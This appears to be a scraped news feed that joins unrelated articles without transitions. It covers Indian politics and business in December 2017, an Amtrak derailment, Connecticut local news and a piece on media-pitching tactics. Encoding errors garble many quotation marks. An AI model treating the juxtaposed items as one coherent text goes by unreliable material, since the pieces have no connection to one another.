Rep. Darrell Issa, California

Rep. Walter Jones, North Carolina

Rep. Peter King, New York

Rep. Leonard Lance, New Jersey

Rep. Frank LoBiondo, New Jersey

Rep. Dana Rohrabacher, California

Rep. Christopher Smith, New Jersey

Rep. Elise Stefanik, New York

Rep. Lee Zeldin, New York

(Read more House Republicans stories.)
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New Delhi:

On the back of continued demand for its models, led by the automatic scooter Activa, Honda 2Wheelers has become the largest brand in as many as 15 states and two Union territories over the past six years which together account for over 52 per cent of the market.

Quoting Siam (the umbrella body of the industry) data, Honda today said during the April-September period of this fiscal year, they were the No 1 two-wheeler brand in Maharashtra with 43 per cent market share, Gujarat (46), Andhra & Telengana (33), and it enjoys 30 per cent volume share in Tamil Nadu.

While in Karnataka it has 35 per cent volume share, in Kerala it leads with 41 per cent, Punjab (36), Delhi (29), Uttarakhand (43), Jammu & Kashmir (36), Himachal (33), Goa and Chandigarh (57 per cent each), Manipur (59), Arunachal (46), The Andaman & Nicobar Islands (52) and Nagaland with 31 per cent volume share, the company said.

Honda said these 15 states and the two Union Territories together account for 52 per cent of all two-wheeler market in the country.

This also means that the Japanese brand tops the entire Western and the Southern regions. This was achieved in the past six year alone when it was the leader only in Arunachal Pradesh and Goa in 2011.

Minoru Kato, president & chief executive, Honda Motorcycle & Scooter India, attributed the achievement tot their deep understanding of customer needs and dreams coupled with quality of their products.

Over the past six years, Honda has expanded from one to four plants with 11 assembly lines with an installed capacity of 6.4 million units a year, and tripled their network reach.

Till November, Honda has been driving the incremental volume game with close to 50 per cent volume.

Yadvinder Singh Guleria, SVP of the company, attributed the landmark to the increasing scooterization and the rise in its motorcycle sales.

The company has set a 20 per cent or 1 million incremental sales for this fiscal and has already achieved over 17 per cent volume growth till November.
New Delhi:

Top officials of tech giant Microsoft have said that the company will be focusing more on government and small business segment to grow its India revenues.



aThe SMB (Small and Medium Businesses) segment and the segments around digital India (and) government would be clear areas of focus for us in addition to all the work around enterprise and consumer that we have been doing,a Microsoft India president Anant Maheshwari told PTI.



Maheshwari estimated that the overall information technology opportunities in India stand at USD107 billion. He, though, refused to break down the contribution of the government and small businesses in it further declining to reveal the revenue contribution from India.A



He said India is one of the top 14 priority regions for Microsoft and a afaster-growing marketa.



Microsoft has over two lakh enterprise customers in the country apart from 9,000 partners and also works with 5,000 startups while the government serves the centre as well as 29 states, he said. When asked about home-grown IT companiesa reservations about working with the government, especially with the way contracts are structured and also with regard to timely payments, Maheshwari acknowledge that there are achallengesa in every market.



aIn any exciting geography in the world, there are always challenges to do business and India is no different,a he explained. aThe government has recognised that over the last couple of years with all the focus on ease of doing business, there are some improvements,a he said. When asked about the implementation of GST (Goods and Services Tax) resulting in some tax notices to IT players, Maheshwari said Microsoft sees the indirect tax reform as a big opportunity.A A



aThere may be some challenges as the tax regime transitions, but broadly for me, I would think of GST as a massive opportunity for anybody who is trying to do digital transition,a he said. The company employs over 8,000 people in the country who work out of nine offices in various cities. Apart from serving the local market, its staff, the largest in any country outside of the US, also serves the global needs, especially on delivery, research and innovation.

(With PTI inputs)

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Bengaluru:

Kaushik Majumdar, a physically challenged man has alleged harassment by Air India staff. Majumdar says he was allegedly stopped from boarding a flight from Kempegowda International Airport Bengaluru on Sunday.



Majumdar, a native of Kolkata, has been staying in Bengaluru for a decade now. On Sunday he was supposed to travel to Kolkata via Air India flight. He is using an electronic wheelchair since he has 85% orthopaedic disability.A



Majumdar said, "I reached airport and collected my boarding pass and took the bus to reach near the plane but when I was about to board the flight ground staff asked me to disconnect the battery of my wheelchair which I did but Air India staff was not satisfied with this and ordered me to remove the wire which is connected to the battery. I told them I can't remove that since this is a complex mechanism and I can't join them back. But the staff was adamant and didn't allow me to board the flight hence I had to come back home."



However, Air India refuted these allegations saying the passenger was informed near the boarding desk to only remove the wire from the battery since battery operated wheelchairs are not allowed inside the aircraft as per DGCA rules.A



Air India issued a statement regarding the incident which says, "The passenger was informed by the counter staff at the check-in counter that the battery operated wheelchair is not permitted inside the aircraft and accordingly offered a wheelchair. At that time the passenger agreed to remove the battery at the boarding gate. After reaching the boarding gate AI official spoke to him about the need to remove the battery, however, the passenger refused to disconnect the battery. The same was informed to the commander of the flight and since the passenger was not agreeing to disconnect the battery he could not be accommodated on the flight. Air India strictly follows the laid down procedures and regulations regarding passenger safety.a



Majumdar says he had faced this kind of situation earlier as well since there are no proper guidelines and rules for these kinds of situations and this is the first time he was not allowed to fly.
New Delhi:

Web series are like a breathe of fresh air for viewers who are bored of the never ending daily soaps and masala Bollywood movies. For all those who just can't get enough of them, we have some exciting news.

Popular Bollywood film-maker Kabir Khan is all set to debut on the digital platform with an exciting web series. The aBajrangi Bhaijaana director is coming up with aThe Forgotten Armya which will be available exclusively on Amazon Prime Video.

The shooting for the upcoming series has commenced on Monday in Mumbai. The series is inspired by true events and focuses on the men and women who fought for Indiaas independence as part of the Indian National Army led by Subhas Chandra Bose, as per a press release.

Kabir Khan to direct Amazon Originalas digital series, titled #TheForgottenArmy... Created by Kabir Khan Films, the Amazon Original series commenced filming in Mumbai today. pic.twitter.com/jWjFauGKR5 a taran adarsh (@taran_adarsh) December 18, 2017

Ekta Kapoor also recently launched a web series based on Subhash Chandra Bose on her digital platform ALT Balaji. The series titled aBose: Dead or Alivea has been applauded for its superb plot and stellar performance of actors.

For the uninitiated, Newton star Rajkummar Rao played the titular role in the popular series. The series is highly rated on IMDb.

Kabir Khan has helmed several hits like 'Ek Tha Tiger', 'Tubelight' and 'Kaabul Express' and we can't wait to see him direct a web series.
New Delhi:

Around 40,000 Rohingya migrants were illegally living in India and none of them had been deported so far, Union minister Kiren Rijiju informed Parliament on Tuesday.

In a written reply to a question, the Union Minister of State for Home Affairs informed the Lok Sabha that the entry of illegal migrants was clandestine and surreptitious and thus, an accurate figure of how many of them were currently living in the country was not available.

As per an estimate, the number of Rohingya migrants could be around 40,000, he said, adding that none of them had been deported so far.

Rijiju said though India was not a signatory to the 1951 United Nations Convention on the Status of Refugees and the 1967 Protocol thereon, the country's track record in dealing with or providing protection to refugees had internationally been acclaimed.

Also Read| 6,700 Rohingya killed in first month of Myanmar violence: MSF

He added that there was no legislation to deal with refugees and asylum-seekers in India.

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New Delhi:

The decision to change the name of Delhi's Dyal Singh Evening College to Vande Mataram Mahavidyalaya has been put on hold, informed Human Resource Development Minister Prakash Javadekar to the Rajya Sabha during Zero Hour on Tuesday.

Javadekar also informed the house that the decision to change of an evening colleges name was not governments decision.

SAD member Naresh Gujral during the Zero Hour had raised the issue. He said, The managing committee of the Dyal Singh Evening College recently decided to rename the college to Vande Mataram Mahavidyalaya.

The SAD leader said, Vande Mataram evokes nationalism. But, to change the name of a minority institution is a direct assault on the feeling of the Sikh community.

Also read: Harsimrat Kaur Badal denounces renaming Dyal Singh College to Vande Mataram College, cites Pakistan



In a reply Javadekar said, Creating unnecessary controversies by playing with emotions is wrong."

The governing body of Dyal Singh Evening College had earlier renamed the evening college to Vande Mataram College and passed the decision to change evening shift timings to regular college in November.

Amitabh Singh, Chairman of the General Body then said, "The General Body passed the decision on making the evening shift as regular college. It has been renamed as Vande Mataram College. This step will help all the students on the evening shift."

Pawan Sharma, the principal of the college said, "The name inspired millions during the freedom struggle. It'll also inspire students. There mustn't be controversy on it. People opposing it haven't understood it well. We'll not reconsider it. It's final."

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Bengaluru:

Jammu and Kashmir Chief Minister Mehbooba Mufti on Tuesday demanded strict action against group of men who allegedly assaulted two Kashmiri brothers in Bengaluru for not speaking in Kannada.

The Jammu and Kashmir chief minister took it to Twitter to show her anguish over the attack. She wrote, "Very disturbed by the news of 2 brothers from Kashmir being assaulted in Bengaluru. I would urge the authorities to take strict action against the accused."

Two brothers from Jammu and Kashmir were allegedly thrashed by a group of men for unable to converse in Kannada on December 12 night.

DCP (North) Chetan Singh Rathor confirmed the incident to the media.

According to reports, the duo have been living in Bengaluru for the last five years. One of the victims is a hotel management student.

Very disturbed by the news of 2 brothers from Kashmir being assaulted in Bengaluru. I would urge the authorities to take strict action against the accused.  Mehbooba Mufti (@MehboobaMufti) December 19, 2017

Police said, on the day of the incident the two were returning home in their car in the wee hours, when bikers numbering around four to five stopped them near NTI bus stand in Bengalurus Sanjaynagar. The bikers insisted them to speak in Kannada.

Also read: Thiruvananthapuram: CPI (M) worker attacked by bike borne assailants allegedly from SDP



The brother when failed to speak in Kannada the duo were attacked by the group, said the DCP.

The Kashmiri brothers also informed the police that their attackers pelted stones on them and broke their cars windshield.

Bengaluru Police have arrested two persons in connection to the attack. We have registered an FIR under IPC sections 324 - causing hurt by dangerous weapons, 341 - wrongful restraint, 504 - intentional insult with intent to provoke breach of peace.

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New Delhi:

Hitting back at Rahul Gandhi for his assertion that Gujarat election results has put a serious question on Modis credibility, the BJP on Tuesday said it was not PM Modi but Congress and its new chief whose credibility at an all-time low.

Credibility of Congress and Rahul Gandhi is at an all-time low, while PM Modi's credibility is at an all-time high not just in India but globally, Union Minister Ananth Kumar said.

Earlier in the day, Rahul Gandhi had raised questions about Prime Minister Narendra Modis credibility after he led his party BJP to a narrow victory in his home state.

Rahul said, A big question has been raised on Modijis credibility. Frankly, Modiji has a credibility problem and he will find it very difficult... Because what he is saying, his forces and his organisation are repeating that.

But the country is not listening to that. This, the Gujarat election has shown. In the coming times, you will see this clearly, he added.

Also Read | Rahul Gandhi says Gujarat verdict a big jolt for BJP, raises questions on PM Modi's credibility

However, BJP ridiculed Rahuls remark saying the Congress Chief is redefining what a set-back really means.

Union HRD Minister Prakash Javadekar said, he was amused to hear that the Congress president had described the results as a big jolt to the BJP.

He said, it was a major setback for Congress Chief Rahul Gandhi and his party which is on the verge of "extinction."

It seems Rahul is under the illusion and enjoying defeat as victory. This shows his dynastic arrogance and is an insult to the peoples mandate, Javadekar added.

(With PTI Inputs)

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New Delhi:

After missing the cut in high stake Gujarat Assembly elections, Congress party will hold a three-day introspection meet starting from Wednesday, said AICC General Secretary Ashok Gehlot.

We are going to organise a review meeting from Tomorrow (Wednesday). The meeting will be attended by all the district president, party candidates and leaders, Ashok Gehlot, Congresss election in-charge in Gujarat told News Nation.

Gehlot said Congress President Rahul Gandhi may also attend the meeting that will be organised from December 20 to December 22.

Rahul Gandhi-led Congress put up a strong fight in the high-stake assembly elections in Modi's home state Gujarat and restricted the BJP below hundred mark.

The Congress won 77, up by 16 seats at the end of counting of votes in the Gujarat assembly elections.

Opinion: Gujarat election results showed PM Modi is vulnerable, Rahul Gandhi will have to learn to win

However, the BJP managed to cross halfway mark by winning 99 seats but its tally came down from 115 it won in 2012, and far lower than the 150-plus seats it had hoped for.

After the Gujarat results, Ashok Gehlot had said the way party fought in Gujarat shows the reverse countdown for Modi has begun.

Newly elected Congress President Rahul Gandhi also expressed satisfaction over the partys performance in BJPs bastion.

Rahul said, the Gujarat verdict was a moral victory for Congress and stated that it sends a message to PM Modi and BJP that "Your anger will not work for you, you can be defeated by love."

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Delhi:

A trainee flight attendant was allegedly molested by a receptionist of a guest house in the posh DLF area here, following which he was arrested, police said on Tuesday.

The incident occurred at around 2 am on Sunday when the 22-year-old victim was checking out from the guest house, they said.

"She informed the reception that she was checking out when the accused, Shiv Kumar (24), a native of Uttar Pradesh's Mainpuri, barged into her room and asked if she was happy with the services," Station House Officer of DLF phase-II Sudeep Kumar said.

"The victim said a tap in the washroom was not working and Kumar asked her to show it. When they went inside, he molested her. After she screamed for help, Kumar tried to flee from the spot," Kumar said.

He was caught with the help of other people in the guest house following which the police was informed and he was arrested, the officer added.

Also read: Delhi Police arrests most wanted criminal Sonu Dariyapur from Narela



The accommodation to the victim was provided by the airlines for the duration of her training. She had checked in on Wednesday night, he said.

Kumar was booked on the charge of molestation in DLF Phase II Police Station, the officer added.

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Thiruvananthapuram:

Prime Minister Narendra Modi on Tuesday reached out to the people of cyclone Ockhi-hit areas of Lakshadweep, Tamil Nadu and Kerala and assured them all possible help from the Centre to rebuild their lives and trace those missing.

Modi said search operations to trace the missing fishermen in Kerala and Tamil Nadu would continue and expressed hope that all of them would come back home before Christmas.

"I am here to assure you that India stands shoulder to shoulder with all those affected by Cyclone Ockhi. We will leave no stone unturned in the rescue and relief operations," said the Prime Minister, who addressed a gathering of fisher folk at Poonthura, a fishing hamlet near Thiruvanathapuram.

"Some of our people are stranded in foreign nations. The Ministry of External Affairs and various embassies are working to bring them back. Some people also got stranded in parts of India's western coast. We have rescued many of them," he said.

On a day-long hectic tour, Modi held high-level discussions with the chief ministers of Tamil Nadu and Kerala and the administration of the union territory of Lakshadweep and reviewed the situation post-Ockhi.

During the meetings, both Tamil Nadu and Kerala demanded a special financial package from the Centre to tide over the destruction caused by the natural calamity and wanted the cyclone to be declared as a national disaster.

Modi, who reached Kavaratti, Lakshadweep's capital, on Tuesday morning, discussed with top officials and people's representatives the situation in the union territory.

He also found time to meet some local people, the victims of the calamity, and interacted with them.

Talking to PTI over phone, Lakshadweep administrator Farooq Khan said as per a rough estimate, damage caused due to the cyclone in the union territory, was to the tune of Rs 150 crore.

"We are processing the cases of those affected by the cyclone Ockhi to get maximum relief for them. We have conveyed our requirements to the Centre," he said.

Lakshadweep MP Mohammad Faizal said the administration has sought an immediate aid of Rs 150 crore for rebuilding the basic infrastructure damaged in the devastating cyclone.

The MP said PM Modi has assured all central assistance to the island.

Though there was no loss of life or injuries, roughly 1000 houses had been damaged in the island territory, the majority of which are in Minicoy, an official said.

At Kanyakumari in Tamil Nadu, the Prime Minister held a high-level meeting in which Chief Minister K Palaniswami presented a memorandum seeking Rs 9,302 crore central aid.

Palaniswami later told reporters that his government sought Rs 5,255 crore assistance towards implementing permanent rehabilitation measures in Kanyakumari and another Rs 4,047 crore to cater to other parts of the state, including state capital Chennai, affected by the North-East monsoon.

At Poonthura, which bore the brunt of the cyclone, the Prime Minister gave a patient hearing to weeping women, children and men, who lost their kin and livelihood in the cyclone.

"The whole country is with you in this time of sorrow. We will do everything to search for the missing fishermen," Modi said.

"...We pray to God that before Christmas, all the missing persons return," the prime minister added.

Modi later took part in a high-level meeting, in which Kerala chief minister Pinarayi Vijayan sought a special central assistance of Rs 7,340 crore for rehabilitation and rebuilding of cyclone affected coastal villages.

Also Read|A Cyclone Ockhi: PM Modi holds meeting with officials in LakshadweepA

This package is besides the Rs 422 crore sought by the state under the National Disaster Relief Fund.

The Prime Minister assured the state government that the package would be considered sympathetically, an official release said later.

For all the Latest India News, Download News Nation Android and iOS Mobile Apps.
New Delhi:

Two terrorists were gunned down by security forces in an encounter in Jammu and Kashmir's Shopian region on Tuesday. As per latest report coming in the incident, search operation are underway.

"Bodies of two terrorists recovered but third one is still alive and is present in a house, he started firing again a few minutes back" says Inspector general of police (Kashmir) Muneer Khan

Earlier on Monday, it was reported that two-three terrorists were trapped in Batmurran village in Shopian, following which soldiers of 44 Rashtriya Rifles, Jammu and Kashmir Police Special Operations Group and 14 battalion of Central Reserve Police Force (CRPF) launched joint cordon and search operation.







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New Delhi:

Uttar Pradesh government on Tuesday has directed all district police chiefs to ensure the freedom of practising ones religion is protected after a Hindu group warned schools in the state not to celebrate Christmas.

Additional director general of police (ADGP) Anand Kumar said, We have directed the senior superintendent of police (SSP) Aligarh to take strict actions against anyone trying to prevent one right to practise ones religion.

The ADGP added that similar directives have been given to all state police chiefs.

Rashtriya Swayamsevak Sangh (RSS) affiliated Hindu Jagran Manch on Sunday had issued a circular threatening schools in Aligarh against celebrating Christmas.

Also read: Tomb of 'Santa Claus' discovered in Turkey



The circular warns the schools not to impose Christian celebrations on Hindu kids because these actions indirectly lead to religious conversion.

Hindu Jagran Manch Aligarh mahanagar president Sonu Savita talking to media said, Such celebrations indirectly lead to religious conversion. Childrens mental conditions are also affected.

He also said that they if schools do not stop celebrating Christmas in schools they will protest in large numbers.

For all the Latest India News, Download News Nation Android and iOS Mobile Apps.
New Delhi:

According to a study, mindfulness training can reduce stress of students during exams and support risk of mental health problems like anxiety, depression.

Mindfulness training, a means of attention for the purpose of mental well-being by practicing meditation, has increased in the recent years.

Geraldine Dufour, Head of Counselling Service at the University of Cambridge in the UK, said, Given the increasing demands on student mental health services, we wanted to see whether mindfulness could help students develop preventative coping strategies."

Published in the journal The Lancet Public Health, the study was conducted with 616 students.

They were grouped into two and offered access to comprehensive centralised support at the University of Cambridge Counselling Service along with support from National Health Service.

Only half of the students were offered a mindfulness course. The sessions were conducted weekly, with face-to-face and group sessions. They were also told to do meditation, starting with eight minutes, and then increasing it to 15-25 minutes per day.

The other half were given this mindfulness session in the next year.

The study measured the stress level of both the groups in the conducted examinations in May and June 2016.

Those students who received the mindfulness training performed well in the exams without stress, unlike those who did not receive the training.

Also Read: Five different types of anxiety, depression identified

This is, to the best of our knowledge, the most robust study to date to assess mindfulness training for students, and backs up previous studies that suggest it can improve mental health and wellbeing during stressful periods, said Julia Galante of Cambridge, who led the study.
New Delhi:

Telecom company Vodafone has partnered with Transsion Holdings-owned Itel to launch an entry-level 4G smartphone, called the A20, which comes at an effective price of Rs 1,590.

The new A20 competes with other budget smartphones like the JioPhone and Airtel Intex Aqua Lions N1 among others. The A20 is priced at Rs 3,690 but Vodafone will offer a cashback of Rs 2,100 to the customers that brings down the phone to Rs 1,590.

The customers who want to buy the Itel A20 will need to make monthly recharges of Rs 150 for a period of 36 months (3 years). The reports say that the recharge can be either done as a one-time recharge or all at once.

After the first 18 months, the customers will receive Rs 900 cashback in their M-Pesa wallets and Rs 1200 after the additional 18 months. The bundled offer is available upto March 31, 2018.

Gaurav Tikoo, Senior VP, Marketing, Trassion India, said, At Itel, we are committed to making the 4G smartphone experience accessible to the masses as well as to boost the value proposition offered by all our products. Not only are we enhancing our 4G portfolio to achieve this aim, but are also entering into major strategic tie-ups to deliver greater value in our offerings. Our partnership with Vodafone reiterates this commitment. Its superior network coverage will perfectly complement the feature-intensive A20. We are confident that the partnership will drive 4G adoption across the country by maximizing the overall value for both Itel and Vodafone customers.

Aslo Read: Micromax Bharat 5 launched at Rs 5,555 with 50 GB free data

The Itel A20 runs on Android 7.0 Nougat and features a 4-inch XVGA (480X800) display. Powered by 1.3 GHz quad-core processor and coupled with 1 GB RAM and 8 GB storage, the smartphone features a 2-megapixel rear camera and 0.3-megapixel front camera. The dual-SIM smartphone offers a 1500mAH battery and will be available in three colours, Dark Blue, Champagne Gold and Silver.

Recently, Airtel partnered with Intex to launch the Aqua Lions N1 at the price of Rs 1,649. Similarly, BSNL partnered with Micromax to launch Bharat 1 at Rs 2,200.
New Delhi :

An Amtrak train making the first-ever run along a faster new route hurtled off an overpass south of Seattle and spilled some of its cars onto the highway below, killing at least six people, authorities said.

The death toll was expected to rise.

Seventy-eight passengers and five crew members were aboard when the train moving at more than 80 mph derailed on a route that had raised safety concerns. At least 50 people were hospitalized, more than a dozen with critical or serious injuries, authorities said.

An official briefed on the investigation told The Associated Press that preliminary signs indicate that Train 501 may have struck something before going off the track about 64 kilometers south of Seattle. The official was not authorized to discuss the investigation publicly and spoke on the condition of anonymity.

A local official had raised concerns about the safety of the new bypass as recently as two weeks ago at a public meeting.

The Pierce County Sheriff's Office said several vehicles on Interstate 5 were struck by falling train cars and multiple motorists were injured. No fatalities of motorists were reported.

In a radio transmission immediately after the accident, the train's conductor can be heard saying the train was coming around a corner and was crossing a bridge that passed over Interstate 5 when it derailed.

"I'm still figuring that out. We've got cars everywhere and down onto the highway," he tells the dispatcher, who asks if everyone is OK.

Chris Karnes was on the train, three or four cars back from the front. He said the only part of the train remaining on the tracks was the rear locomotive. Several cars were hanging over the overpass.

Daniel Konzelman, 24, was driving parallel to the train on his way to work as an accountant in Olympia. He was about 30 seconds ahead of the train on the freeway when he saw it derail.

Konzelman, who was driving with a friend, said he pulled off the freeway and then ran down along the tracks and over the bridge to get to the scene. They saw three cars and a semi-truck on the freeway that had been damaged by the derailment. There were train cars with their roofs ripped off, or that were tipped upside down, on both sides of the track or turned sideways on the bridge.

They climbed into train cars and found people hurt some pinned underneath the train, others who appeared to be dead, he said. If they were mobile and seemed stable, he helped them climb out. If they appeared seriously hurt, he tried to comfort them by talking to them.

"I just wanted to help people because I would want people to help me," he said. "I'm an Eagle Scout. I have a lot of first-aid training and emergency response training." They stayed for nearly two hours before hitting the road again.

"I prepared for the worst and hoped for the best. I saw a little bit of both," he said.

President Donald Trump used the deadly derailment to call for more infrastructure spending in a tweet sent about three hours after the accident. He said the wreck, on a newly completed bypass, shows "more than ever why our soon to be submitted infrastructure plan must be approved quickly." The train was making the inaugural run on the new route as part of a USD 180.7 million project designed to speed up service by removing passenger trains from a route along Puget Sound that's bogged down by curves, single-track tunnels and freight traffic.

The Amtrak Cascades train service is jointly owned by the Washington State Department of Transportation and the Oregon Department of Transportation. Amtrak operates the service for the two states as a contractor and is responsible for day-to- day operations. Amtrak Cascades runs trains from Vancouver, British Columbia, to Eugene, Oregon.

The Amtrak schedule called for the train to leave Seattle around 6 AM and arrive in Portland about 3 1/2 hours later.

For all the Latest World News, Download News Nation Android and iOS Mobile Apps.
New Delhi:

US President Donald Trump has asked Pakistan to take "decisive action" against terror groups operating from its soil, as he unveiled America's new National Security Strategy (NSS).

Mandated by the Congress, Trump on Sunday released his first NSS, according to which the US has asked Pakistan to intensify its counterterrorism efforts. "We have made clear to Pakistan that while we desire continued partnership, we must see decisive action against terrorist groups operating on their territory. And we make massive payments every year to Pakistan.

They have to help," Trump said in his remarks as he announced the NSS. Pakistan has received more than USD 33 billion from US since the 9/11 terror attacks. "We will press Pakistan to intensify its counterterrorism efforts, since no partnership can survive a country's support for militants and terrorists who target a partner's own service members and officials," it said.

The US will also encourage Pakistan to continue demonstrating that it is a responsible steward of its nuclear assets, the NSS said. The US will continue to partner with Afghanistan to promote peace and security in the region, it said.

"We will continue to promote anti-corruption reform in Afghanistan to increase the legitimacy of its government and reduce the appeal of violent extremist organisations," it added.

The NSS links its efforts to build trade and investment ties with Pakistan with improvement in security."We will press Pakistan to intensify its counterterrorism efforts, since no partnership can survive a country's support for militants and terrorists who target a partner's own service members and officials," it said.

Observing that the US continues to face threats from transnational terrorists and militants operating from within Pakistan, the NSS said the prospect for an Indo-Pakistani military conflict that could lead to a nuclear exchange remains a key concern requiring consistent diplomatic attention.

The Trump administration has been talking tough with Pakistan after it came to power, but has stopped short of taking any action against it even though the Pakistani leadership have shown reluctance in taking decisive action against terrorist groups. On November 25, the White House asked Pakistan to immediately re-arrest and prosecute Hafiz Saeed, leader of Lashkar-e-Taiba.

"If Pakistan does not take action to lawfully detain Saeed and charge him for his crimes, its inaction will have repercussions for bilateral relations and for Pakistan?s global reputation," the White House Press Secretary Sarah Sanders had said. In his South Asia speech on August 21, Trump became the first US president to publicly point out for its support to terrorist outfits and leaders.

"For its part, Pakistan often gives safe haven to agents of chaos, violence, and terror," he said and asked Pakistan to "demonstrate" its commitment to civilisation, order, and to peace. US, Trump then said, can no longer be silent about Pakistan's safe havens for terrorist organisations, the Taliban, and other groups that pose a threat to the region and beyond.

Since then top US leadership, including the Defence Secretary Jim Mattis and the Secretary of State Rex Tillerson, have visited Pakistan to press the latter. Mattis has refused to give necessary certification to Pakistan that it is taking action against Haqqani network, as a result of which blocking several hundred million coalition support funds to Islamabad.

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WASHINGTON  Region 12 Superintendent Pat Cosentino will resign at the end of the school year, according to a letter she recently sent to the Board of Education.

Cosentino, who has been superintendent for the last six years and shepherded the districts plan to open a controversial Agriscience-STEM academy, will stay on until June 30, the letter said. The letter did not say why she was stepping down.
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NEW MILFORD  The town now opposes a proposal to add solar panels that would generate 20 megawatts of energy on Candlewood Mountain..

The stance  a switch from the previous administration  was made in a brief filed last week by the town, in anticipation of a final decision on the project expected this week from the Connecticut Siting Council.

Mayor Pete Bass and at least eight of the nine New Milford Town Council members elected on November, 7, 2017 actively oppose the project, reflecting a consensus amongst town residents that the project is more harmful than beneficial, the towns brief states. Bass beat incumbent Mayor David Gronbach, who supported the solar project, in the municipal election.

Rescue Candlewood Mountain, a group of residents that opposes the project, and Ameresco Inc., the company that would install and operate the solar panels, also filed briefs.

Under Amerescos proposal, it would install about 60,000 panels and feed the power into the New England power grid through the Rocky River substation. The company has scaled back the size of its proposal since its first submission.

The towns new brief also states that Gronbach wrote his letter in support of the project without the support or vote of Town Council and no referendum or Town Meeting has been held to date to determine town electors position on the project. Gronbachs letter said he was in favor of the project as long as it meets the requirements set out in the payment in lieu of taxes agreement Town Council signed.

The latest town opinion tells the Siting Council to reject the proposal because it doesnt meet all of the appropriate state and federal standards for water quality. It also states the project will have a substantial adverse environmental effect and the loss of approximately 95 acres of core forest goes against a new state law that went into effect on July 1.

Under the law, the Siting Council would have to take into consideration the environmental and agricultural impacts on the loss of land in exchange for the alternative energy the project would produce. The Siting Council ruled that law doesnt apply to this project because it went into effect after the petition was filed on June 28. However, it has still been cited during the hearings by residents in opposition and even caused the state Department of Agriculture to testify against the project, an unusual move.

Besides environmental concerns, the town also echoed concerns made in the past by residents and Rescue Candlewood Mountain, including the potential glare the panels could create for pilots at the adjacent Candlelight Farms Airport.

In its own brief, Candlewood Solar, the subsidiary of Ameresco, contends there are no adverse environmental effects. The company altered its site plan to lessen the impact it would have on the wildlifes habitat.

Ameresco also states the developer of the site will deed 100 contiguous acres of land to a local conservation trust to protect that land, which will include sections of the Blue Trail  a well-known hiking trail system that spans the state.

The project would also provide environmental benefits to the state by generating alternative energy, which could be used by residents from the New England grid, Ameresco officials noted in their brief.

Ameresco said it will use erosion controls outlined by the state when it installs the panels.

The brief also states the project will generate about $2.7 million over 20 years and create local jobs.

Amerescos brief states the project is a good alternative to a multifamily residence, which the site is currently zoned for. The town also said the proposed solar project doesnt meet the towns zoning for that spot.
Pitching the media can be overwhelming. Its a long, hard process to come up with an idea, find relevant journalists, pitch them, and then follow up. However, the results can be well worth it. My own company has generated millions of dollars of business from well-placed articles, and Im not the only one finding success with PR. Here is how four entrepreneurs used innovative techniques to get media coverage.

The software company Airtame was, back in 2014, the most crowdfunded project on Indigogo. One gets a lot of press being the most crowdfunded project, said Steffen Hedebrandt, the head of marketing. But most people forget how this can be utilized years into the future.

A year after their successful crowdfunding campaign, they got coverage in TechCrunch, VentureBeat, and other publications when they raised $1.3M. Normally, TechCrunch would not cover a startup raising only $1.3M, but we had our edge as being the most crowdfunded project on Indigogo, and that was still interesting news, Hedebrandt says.

One shouldnt be shy of re-using the same story over and over again, as long as it builds credibility.

Case 2: If your product isnt interesting, dont mention it.

Early on, Jens Jakob Andersen had problems getting media coverage for his running shoe and sneaker website RunRepeat.com. RunRepeat.com is like IMDb or TripAdvisor, but for running shoes and sneakers, and nobody wanted to write about a review aggregator for shoes.

Related: Your Business Can Be Boring But Your Marketing Can't

Instead of focussing on his own website when pitching journalists, he used his statistical background to build studies for the media to use.

By crunching data, I found that cheap running shoes are better than expensive ones, Andersen recalls. The media loved it. Within a day, Andersens study was mentioned in 30-plus publications including the Washington Post and other top tier newspapers.

Most people focus on pitching their product to the media, but journalists get so many product pitches. By creating a study thats related to what youre an expert in, you give the journalists a lot of value, for free, and without any obvious promotional intentions, Andersen says.

Since his first study, Andersen has managed to be mentioned in more than 100 publications around the world, and journalists often reach out to him as a trusted source on all things to do with the running industry.

Case 3: News hacking.

The third case requires one to be timely. Mads Hallas from the auction aggregator Mearto.com explains, News hacking is about finding interesting stories done by other companies and then taking over as the owner of the story.

Recently, a famous European restaurant, Noma, decided it was time to upgrade its furniture. They quietly put their furniture on auction in another country. Hallas discovered this, quickly made a landing page about how one could now buy furniture from the restaurant Noma, and the story got covered by the local media. Mearto got attention, even though his company didnt have anything to do with the auction itself.

Case 4: The Slideshare hack.

Slideshare is like YouTube, but for presentation slide decks. To those who hate presentations this may sound like a new level of Dantes inferno, but it turns out to be a very popular site with tens of millions of visits each month. Tobias Schelle from 24Slides.com recently uploaded a presentation to Slideshare, but says I then thought these slides could be useful at other platforms too, so he pitched a few highly targeted journalists with the link to his deck.

The result? Shelles company received multiple mentions in top tier publications including HuffPost.

Lesson: Pitch people, not publications.

I know that being featured in Entrepreneur Magazine or The New York Times is probably most [small business owners] dream, says Andersen. But youre better off reversing your thinking. Do not find relevant publications to pitch -- find relevant journalists.

He suggests using one of the search operators from Google to quickly help you find the most relevant journalists writing on a particular topic at a given publication. For example, to find authors who write for trail runners in the New York Times, you might search site:nytimes.com trail running.

Try to find a journalist that has a lot of pull with a niche audience. A large fish in a small bowl is always preferred. The exposure is greatest in the small bowl and the attention around your story will be a lot bigger, Andersen says.

Related: 5 Criteria Journalists Use to Judge If Your Company is Newsworthy

Once youve identified the journalist youd like to pitch, you can use the LinkedIn Chrome extension FindThatLead to track down the email of the journalist. The website email-format.com is also a good resource where you can see the actual email structure used by a specific domain (e.g. @nytimes.com). That way you can quickly guess what email structure they are using (e.g. firstname.lastname@nytimes.com). Another method that requires some guesswork is to use the Linkedin Sales Navigator Gmail extension that shows a LinkedIn profile when you type the correct email into Gmail.

Lesson: Call when you can, email when you must.

According to Schelle, you will get 10 to 20 times more coverage by calling than by emailing, although the strategy works best when you and the writer already have a relationship. I call if I know the journalist. Email is great if you have to pitch many journalists in one day, he says.

When I asked him about studies by PR platforms Vocus and Cision that showed that 80-90 percent of journalists claim they prefer email to phone pitches, and mentioned that I, myself, cant stand receiving phone calls and only respond to emails, Schelle was nonplussed.

Imagine that you get 100 sales proposals a day, he says, likening the process to a business venture. Would you prefer a phone call every 5 minutes--where you have to give a reply and be persistent not to progress with a deal--or would you prefer 100 emails where you have control over who you want to reply to? he laughs. Probably the latter.

The truth is that no sales person with any self respect would send an email over giving a call. The business of PR, he says, is no different.

I wont argue with Schelles reasoning or the data, so go ahead and call everyone else, but still dont call me.

Lesson: Dont send press releases.

